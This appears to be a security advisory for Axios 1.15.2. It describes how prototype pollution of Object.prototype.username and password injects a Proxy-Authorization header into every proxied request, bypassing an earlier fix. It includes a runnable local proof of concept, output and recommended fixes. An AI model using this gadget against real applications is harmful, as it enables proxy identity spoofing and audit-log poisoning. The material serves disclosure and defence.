Axios EUVD-2026-36256

function merge(/* obj1, obj2, obj3, ... */) {
  const result = {};  // ← Plain object with Object.prototype!
  // ...
}

function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    if (proxy.username) {                    // ← traverses Object.prototype!
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (proxy.auth) {                        // ← traverses Object.prototype!
      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
      if (validProxyAuth) {
        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
      }
      // ...
      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!
    }
    // ...
  }
}

Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
         │
         ▼
  User config: { proxy: { host: 'proxy.corp', port: 8080 } }
         │
         ▼
  mergeConfig() → utils.merge() → new plain {}
  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)
  config.proxy inherits from Object.prototype         (has .username, .password)
         │
         ▼
  setProxy() at http.js:209:
    proxy.username → 'attacker' (from Object.prototype) → truthy!
    proxy.auth = 'attacker' + ':' + 'stolen-creds'
         │
         ▼
  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Injected into EVERY proxied HTTP request!

import http from 'http';
import axios from './index.js';

// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
  res.writeHead(200);
  res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));

// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';

// Developer sets proxy WITHOUT auth - expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});

// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds

delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();

Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0

# 1. Install axios 1.15.2
npm pack axios@1.15.2
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install
# 2. Save PoC as poc.mjs (code from Section 7 above)
# 3. Run
node poc.mjs

=== Axios 1.15.2: PP → Proxy-Authorization Injection ===

[1] Normal request with proxy (no auth):
  Proxy-Authorization: none

[2] Prototype Pollution: Object.prototype.username = "attacker"
  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Decoded: attacker:stolen-creds
  → PP injected proxy credentials: attacker:stolen-creds

[3] Impact:
  ✗ Attacker injects Proxy-Authorization into all proxied requests
  ✗ If proxy logs auth, attacker credential appears in proxy logs
  ✗ If proxy authenticates based on this, attacker controls proxy identity
  ✗ Works on 1.15.2 despite null-prototype config fix
  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Direct PP (config.proxy) - BLOCKED by 1.15.2:
  Object.prototype.proxy = { host: 'evil' }
  config.proxy = undefined            ← null-prototype blocks ✓

Nested PP (proxy.username) - BYPASSES 1.15.2:
  Object.prototype.username = 'attacker'
  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties
  config.proxy own keys: ['host', 'port']        ← username NOT own
  config.proxy.username = 'attacker'             ← inherited from Object.prototype!
  hasOwn(config.proxy, 'username') = false

## Impact Analysis

- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth - a common pattern in corporate environments.
### Prerequisite

- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted
## Recommended Fix
### Fix 1: Use `hasOwnProperty` in `setProxy()`

### Fix 2: Use null-prototype objects in `utils.merge()`

### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`
## References

- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)
- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [Axios GitHub Repository](https://github.com/axios/axios)